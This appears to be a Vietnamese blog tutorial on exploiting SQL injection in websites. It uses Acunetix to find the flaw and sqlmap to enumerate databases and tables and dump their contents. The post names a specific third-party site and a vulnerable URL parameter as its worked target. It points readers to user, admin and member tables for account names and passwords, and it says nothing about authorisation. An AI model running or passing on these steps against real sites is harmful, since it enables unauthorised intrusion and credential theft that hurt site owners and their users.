Đầu tiên các bạn quét website xem có lỗi hay không. Với mình thì công cụ acunetix là công cụ quét lỗi bảo mật trang web tốt nhất hiện nay. Nếu có lỗi sql injection thì xác định lỗi ở thông số nào và có thể kiểm tra bằng cách vào trình duyệt gõ thêm ' vào cuối. Nếu trang web đó không hiện được hình ảnh thì bị lỗi sql injection và chúng ta có thể khai thác bằng công cụ sqlmap trong kali linux.
Ví dụ:
Url bình thường: http://dacphuc.vn/?php=product_detail&id=227
Các bạn có thể kiểm tra bằng cách thêm dấu ' vào cuối:
http://dacphuc.vn/?php=product_detail&id=227'
Các bạn mở terminal và gõ lệnh:
sqlmap -h
để xem các tùy chọn của sqlmap
+ Bước 1: Xuất ra tên của cơ sở dữ liệu:
sqlmap -u urltarget --dbs
Ở đây tùy chọn -u là url của mục tiêu.
--dbs là xuất ra tên cơ sở dữ liệu.
Ví dụ: sqlmap -u http://dacphuc.vn/?php=product_detail&id=227 --dbs
+ Bước 2: Khi đã có tên cơ sở dữ liệu, chúng ta có thể xem tên các bảng có trong cơ sở dữ liệu đó bằng lệnh như sau:
sqlmap -u urltarget -D databasename --tables
-D: là tên của database
--tables: để đưa ra tên của các bảng có trong cơ sở dữ liệu
Ví dụ: sqlmap -u http://dacphuc.vn/?php=product_detail&id=227 -D databasename --tables
+ Bước 3: Xem nội dung của các bảng trong cơ sở dữ liệu:
sqlmap -u urltarget -D databasename -T tablename --dump
-T: Đưa ra các bảng cần xem thông tin
--dump: dump ra để xem cơ sở dữ liệu của bảng đó.
Ngoài ra các bạn có thể thêm một số tùy chọn như sau:
-C: Danh sách các trường cần xem.
--table: cấu trúc của bảng về kiểu dữ liệu.
Như vậy các bạn đã có thể xem được cơ sở dữ liệu trong trang web bị lỗi sql injection. Những thông tin mà chúng ta thường khai thác như bảng liên quan đến user, admin, member. Những bảng này có thông tin về tài khoản và mật khẩu. Sẽ rất nguy hiểm nếu lưu không được mã hóa và bị hacker chiếm được những thông tin này.
No comments:
Post a Comment